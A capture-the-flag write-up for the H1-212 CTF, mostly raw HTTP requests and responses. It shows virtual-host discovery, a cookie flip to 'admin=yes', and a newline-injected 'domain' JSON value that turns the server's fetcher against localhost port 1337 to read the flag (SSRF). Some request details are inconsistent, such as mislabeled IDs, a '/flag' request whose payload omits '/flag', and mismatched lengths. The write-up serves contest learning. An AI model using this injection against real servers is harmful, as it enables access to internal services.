Write-up H1-212 CTF

1. Introduction

An engineer of acme.org launched a new server for a new admin panel at 104.236.20.43. He is completely confident that the server can’t be hacked. He added a tripwire that notifies him when the flag file is read. He also noticed that the default Apache page is still there, but according to him that’s intentional and doesn’t hurt anyone. Your goal? Read the flag!

Target: http://104.236.20.43

2. First steps

After to execute nmap, dirb, dirsearch and custom wordlists I realized that this was not the correct way. So I read more in details the introduction text, the engineer acme.org says that he has created a new admin panel. Okay, at the time I thought in virtual hosts. I needed a tool that discovers the vhosts releated with an IP.
I found the awesome script by @jobertabma virtual-host-discovery. I discovered the host admin.acme.org

Request

GET / HTTP/1.1
Host: admin.acme.org
Connection: close
Cache-Control: max-age=0

Response

HTTP/1.1 200 OK
Date: Fri, 17 Nov 2017 22:29:11 GMT
Server: Apache/2.4.18 (Ubuntu)
Content-Length: 28
Connection: close
Content-Type: text/html; charset=UTF-8
Set-Cookie: admin=no

Nice! Now I found the success hostname. I set the cookie and I did GET request again.

Request

GET / HTTP/1.1
Host: admin.acme.org
Connection: close
Cache-Control: max-age=0
Cookie: admin=yes

Response

HTTP/1.1 405 Method Not Allowed
Date: Fri, 17 Nov 2017 23:00:42 GMT
Server: Apache/2.4.18 (Ubuntu)
Content-Length: 0
Connection: close
Content-Type: text/html; charset=UTF-8

The server's response was "405 Method Not Allowed" as Status Code. I tried with another methods as OPTIONS, PUT, DELETE, HEAD and POST. After to check all them, I discovered that with POST method the server returned "406 Not Acceptable" as Status Code.

Request

POST / HTTP/1.1
Host: admin.acme.org
Connection: close
Cache-Control: max-age=0
Cookie: admin=yes

Response

HTTP/1.1 406 Not Acceptable
Date: Fri, 17 Nov 2017 23:02:33 GMT
Server: Apache/2.4.18 (Ubuntu)
Content-Length: 0
Connection: close
Content-Type: text/html; charset=UTF-8

I was blocked in this point during 24h. I read a lot of information about why HTTP Status 406 is generated and I wasted a lot of time in Accept-Charset and Accept-Language in order to try to find the correct values. Finally, I though that if I was doing a HTTP Method POST request I needed a data and Content-Type.

I tested with the commons Content-Type like text/plain, multipart/form-data, application/x-www-form-urlencoded and application/json. The correct value was the last one.

Request

POST / HTTP/1.1
Host: admin.acme.org
Connection: close
Cache-Control: max-age=0
Content-Length: 19
Cookie: admin=yes;
Content-Type:application/json

{"key":"value"}

Response

HTTP/1.1 418 I'm a teapot
Date: Fri, 17 Nov 2017 23:09:14 GMT
Server: Apache/2.4.18 (Ubuntu)
Content-Length: 31
Connection: close
Content-Type: application/json

{"error":{"domain":"required"}}

Great! I got a error as response, but it was a response.

3. Try harder

At this point I crafted a correct POST request with Content-Type application/json and JSON data

Request

POST / HTTP/1.1
Host: admin.acme.org
Connection: close
Cache-Control: max-age=0
Content-Length: 19
Cookie: admin=yes;
Content-Type:application/json

{"domain":"value"}

Response

HTTP/1.1 418 I'm a teapot
Date: Fri, 17 Nov 2017 23:09:14 GMT
Server: Apache/2.4.18 (Ubuntu)
Content-Length: 31
Connection: close
Content-Type: application/json

{"error":{"domain":"incorrect value, .com domain expected"}}

The error says that I needed a .com TLD domain. I did the request again with www.test.com

Request

POST / HTTP/1.1
Host: admin.acme.org
Connection: close
Cache-Control: max-age=0
Content-Length: 19
Cookie: admin=yes;
Content-Type:application/json

{"domain":"www.test.com"}

Response

HTTP/1.1 418 I'm a teapot
Date: Fri, 17 Nov 2017 23:09:14 GMT
Server: Apache/2.4.18 (Ubuntu)
Content-Length: 31
Connection: close
Content-Type: application/json

{"error":{"domain":"incorrect value, sub domain should contain 212"}}

The error says that the sub domain is incorrect and it should contain 212. So I added the 212 subdomain

Request

POST / HTTP/1.1
Host: admin.acme.org
Connection: close
Cache-Control: max-age=0
Content-Length: 19
Cookie: admin=yes;
Content-Type:application/json

{"domain":"212.test.com"}

Response

HTTP/1.1 200 OK
Date: Fri, 17 Nov 2017 23:14:58 GMT
Server: Apache/2.4.18 (Ubuntu)
Content-Length: 28
Connection: close
Content-Type: text/html; charset=UTF-8

{"next":"\/read.php?id=1"}

Oh! The server's response was 200 OK as Status Code and the content was read.php?id=1. So I did the GET request to read.php?id=1

Request

GET /read.php?id=1 HTTP/1.1
Host: admin.acme.org
Connection: close
Cookie: admin=yes;

Response

HTTP/1.1 200 OK
Date: Fri, 17 Nov 2017 23:17:58 GMT
Server: Apache/2.4.18 (Ubuntu)
Vary: Accept-Encoding
Content-Length: 227
Connection: close
Content-Type: text/html; charset=UTF-8

{"data":"PGh0bWw+DQo8aGVhZD48dGl0bGU+MzAyIEZvdW5kPC90aXRsZT48L2hlYWQ+DQo8Ym9keSBiZ2NvbG9yPSJ3aGl0ZSI+DQo8Y2VudGVyPjxoMT4zMDIgRm91bmQ8L2gxPjwvY2VudGVyPg0KPGhyPjxjZW50ZXI+bmdpbngvMS4xMy40PC9jZW50ZXI+DQo8L2JvZHk+DQo8L2h0bWw+DQo="}

DecodeBase64

<html>
<head><title>302 Found</title></head>
<body bgcolor="white">
<center><h1>302 Found</h1></center>
<hr><center>nginx/1.13.4</center>
</body>
</html>

Okay. The first time that I see it I think in SSRF vulnerability.
I try with typical SSRF bypass with something like %0d%0a, #, // and all of them are filtered. But finally I found the way to bypass it with \n (new line)

4. I tried harder

At the moment I know that the ID incrementally one by one and the payload should be start with 212 and .com extension

Request

POST / HTTP/1.1
Host: admin.acme.org
Connection: close
Cache-Control: max-age=0
Content-Length: 54
Cookie: admin=yes;
Content-Type: application/json

{"domain":"212.x.com\nlocalhost\n212.x.com"}

If all is correct, the server should do 3 requests: 212.x.com, localhost and 212.x.com

Response

HTTP/1.1 200 OK
Date: Fri, 17 Nov 2017 22:29:11 GMT
Server: Apache/2.4.18 (Ubuntu)
Content-Length: 28
Connection: close
Content-Type: text/html; charset=UTF-8

{"next":"\/read.php?id=4"}

The server responses with ID=4 we have the following ID's

  • 2 is for 212.x.com
  • 3 is for 127.0.0.1:1337/flag
  • 4 is for 212.x.com
    So we should do a GET request with ID 3 whose content should be the index.html (Apache default page) in base64

Request

GET /read.php?id=3 HTTP/1.1
Host: admin.acme.org
Connection: close
Cookie: admin=yes;

Response

HTTP/1.1 200 OK
Date: Fri, 17 Nov 2017 23:17:58 GMT
Server: Apache/2.4.18 (Ubuntu)
Vary: Accept-Encoding
Content-Length: 227
Connection: close
Content-Type: text/html; charset=UTF-8

{"data":"CjwhRE9DVFlQRSBodG1sIFBVQkxJQyAiLS8vVzNDLy9EVEQgWEhUTUwgMS4wIFRyYW5zaXRpb25hbC8vRU4iICJodHRwOi8vd3d3LnczLm9yZy9UUi94aHRtbDEvRFREL3hodG1sMS10cmFuc2l0aW9uYWwuZHRkIj4KPGh0bWwgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzE5OTkveGh0bWwiPgogIDwhLS0KIC[REDACTED]..."}

Yes, the data is the default page. I tried to discover commons and uncommons ports. The first port that I thought was 1337 (l33t style).

Request

POST / HTTP/1.1
Host: admin.acme.org
Connection: close
Content-Length: 54
Cookie: admin=yes;
Content-Type: application/json

{"domain":"212.x.com\n127.0.0.1:1337\n212.x.com"}

Response

HTTP/1.1 200 OK
Date: Fri, 17 Nov 2017 22:29:11 GMT
Server: Apache/2.4.18 (Ubuntu)
Content-Length: 28
Connection: close
Content-Type: text/html; charset=UTF-8

{"next":"\/read.php?id=7"}

If the response is ID=7 I should check ID=6

Request

GET /read.php?id=6 HTTP/1.1
Host: admin.acme.org
Connection: close
Cookie: admin=yes;

Response

HTTP/1.1 200 OK
Date: Fri, 17 Nov 2017 23:17:58 GMT
Server: Apache/2.4.18 (Ubuntu)
Vary: Accept-Encoding
Content-Length: 227
Connection: close
Content-Type: text/html; charset=UTF-8

{"data":"SG1tLCB3aGVyZSB3b3VsZCBpdCBiZT8K"}

DecodeBase64

Hmm, where would it be?

I tried with the file /flag in the same port

Request

POST / HTTP/1.1
Host: admin.acme.org
Connection: close
Content-Length: 54
Cookie: admin=yes;
Content-Type: application/json

{"domain":"212.x.com\n127.0.0.1:1337\n212.x.com"}

Response

HTTP/1.1 200 OK
Date: Fri, 17 Nov 2017 22:29:11 GMT
Server: Apache/2.4.18 (Ubuntu)
Content-Length: 28
Connection: close
Content-Type: text/html; charset=UTF-8

{"next":"\/read.php?id=10"}

If the response is ID=10 I should check ID=9

Request

GET /read.php?id=9 HTTP/1.1
Host: admin.acme.org
Connection: close
Cache-Control: max-age=0
Content-Length: 0
Cookie: admin=yes;

Response

HTTP/1.1 200 OK 
Date: Fri, 17 Nov 2017 22:34:56 GMT
Server: Apache/2.4.18 (Ubuntu)
Vary: Accept-Encoding
Content-Length: 191
Connection: close
Content-Type: text/html; charset=UTF-8

{"data":"RkxBRzogQ0YsMmRzVlwvXWZSQVlRLlRERXBgdyJNKCVtVTtwOSs5RkR7WjQ4WCpKdHR7JXZTKCRnN1xTKTpmJT1QW1lAbmthPTx0cWhuRjxhcT1LNTpCQ0BTYip7WyV6IitAeVBiL25mRm5hPGUkaHZ7cDhyMlt2TU1GNTJ5OnovRGg7ezYK"}

Now, the last step.

DecodeBase64

FLAG: CF,2dsV\/]fRAYQ.TDEp`w"M(%mU;p9+9FD{Z48X*Jtt{%vS($g7\S):f%=P[Y@nka=<tqhnF<aq=K5:BC@Sb*{[%z"+@yPb/nfFna<e$hv{p8r2[vMMF52y:z/Dh;{6

Thanks for this awesome CTF.

Happy Hacking :)